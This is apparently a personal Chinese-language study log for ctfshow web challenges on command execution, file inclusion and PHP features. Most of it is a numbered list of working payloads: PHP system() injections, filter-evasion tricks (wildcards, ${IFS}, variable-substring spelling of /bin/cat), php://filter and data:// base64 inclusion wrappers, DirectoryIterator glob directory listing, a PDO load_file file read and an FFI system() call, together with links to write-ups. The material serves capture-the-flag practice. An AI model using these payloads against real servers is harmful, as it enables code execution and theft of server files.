https://www.wlhhlc.top/posts/14827/

命令执行:

41 55 56

脚本没学why,做完了命令执行。差收集姿势与理解脚本,原理(后面几道大题)

https://blog.csdn.net/qq_49480008/article/details/113177878

https://ch1e.gitee.io/2021/07/23/ctfshowweb/

?c=system(‘cat f?ag.php’);

?c=echo cat f???.???;

?c=echo%0atac%09f???*; 第二个%0a不行

32

?c=include”$_GET[v]”?>&v=php://filter/read=convert.base64-encode/resource=flag.php 还可以用日志??

33

?c=include$_GET[v]?>&v=php://filter/read=convert.base64-encode/resource=flag.php

?c=include%0a$_GET[v]?>&v=php://filter/read=convert.base64-encode/resource=flag.php

?c=include$_GET[v]?>&v=php://filter/read=convert.base64-encode/resource=flag.php

37

有意思的是,

<?php system("cat index.php")?> 可以(F12得到源码)
<?php system("cat flag.php")?> 不可以
<?php system("cat flag.php");?> 可以

?c=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==

?c=data://text/plain/,

40

可以用echo 空格 字母 ;下划线 英文括号

?c=echo system(ls); 可以执行,但是接下来不知道怎么办 (坑)

    localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序 scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过
pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。

print_r(file_get_contents(next(array_reverse(scandir(pos(localeconv()))))));

42

?c=cat flag.php;

43

?c=tac flag.php||

44

?c=tac fla?.php||

45

?c=tac%09fla?.php||

46

?c=tac<./fla\g.php||

?c=tac${IFS}./fla\g.php||不行是怎么回事

47

?c=tac<./fla\g.php||

48

?c=tac<./fla\g.php||

49

?c=vi<./fla\g.php||

52

?c=ca\t${IFS}fla\g.php||

?c=ca\t${IFS}/fla\g||

53

?c=ca\t${IFS}fla\g.php

54

?c=vi${IFS}fl?g.php

55

[a-z] 没过滤数字

?c=/???/????64 ????????

56

无数字字母

57

wp说提示有说是flag在36.php

58-65

system尝试后,说被禁用,可以试试内置函数。

c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

66

print_r(scandir(‘/‘));

c=highlight_file(‘/flag.txt’);

67

c=var_dump(scandir(‘.’));

68

c=var_dump(scandir(‘/‘));

c=include(‘/flag.txt’);

69

71

c=var_export(scandir(‘/‘));exit();

c=include(‘/flag.txt’);exit();

72

c=$a=new DirectoryIterator(‘glob:///*’);foreach($a as $f){echo($f->__toString().” “);}exit;

用群主给的

73 74

c=var_export(scandir(‘/‘));exit();

c=include(‘/flagc.txt’);exit();

或者

c=?><?php    //前面的?>用来闭合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍历文件夹
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>

直接复制hackbar不行
转成
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?> OK

75

c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit(0);?>

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

上面直接复制也是不行,删除空格后就可以了
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root','root');foreach($dbh->query('select load_file("/flag36.txt")') as $row){echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e->getMessage();exit(0);}exit(0);

76

c=$ffi=FFI :: cdef("int system(const char *command);");$a='/readflag > 1.txt';$ffi->system($a);exit();
会报错,但是访问1.txt还是会得到
直接读取flag36x.txt读取不出来,所以用readflag

77

过滤小写字母数字,() ` > < % / |

可以用的$ {} ; _ ?. ~ 大写字母

code=${PATH:A}${PWD:A} ????.???;

78

多过滤了PATH

118

code=${PATH:A}${PWD:A} ????.???

119

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???
#/bin/cat flag.php
${USER:~2:2}->at www-data
PHP_VERSION:7.3.22
或者


120

${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~A}? ????.???
但发现长度是66还是超了,接着我们把${#}去掉,也是可以的,最终payload如下:
code=${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
#/bin/cat flag.php

121

code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???
#/bin/base64 flag.php
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
#/bin/rev flag.php

122

较之放了< HOME 不过这个 上一题的% 和 %不知道过滤什么东西

禁了#

123

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

124

https://blog.csdn.net/qq_44657899/article/details/106104340

搜刮:wp

https://ch1e.gitee.io/2021/07/23/ctfshowweb/

https://xz.aliyun.com/t/8354#toc-5

https://blog.csdn.net/tomyyyyyy/article/details/115403458

https://blog.csdn.net/weixin_44700621/article/details/125381763

https://www.freebuf.com/articles/network/279563.html

https://blog.csdn.net/miuzzx/article/details/109143413

[CTFSHOW]命令执行_ctfshow命令执行_Y4tacker的博客-CSDN博客

文件包含:

https://blog.csdn.net/qq_49480008/article/details/113696392

https://blog.csdn.net/miuzzx/article/details/116205407

https://xz.aliyun.com/t/5535

https://www.cnblogs.com/Zeker62/p/15322771.html

78

?file=php://filter/read=convert.base64-encode/resource=flag.php

79

?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKT8%2b

80

PHP特性:

web90 4476a 4476.1

web92 93

4476.1

94 4476.0

96开始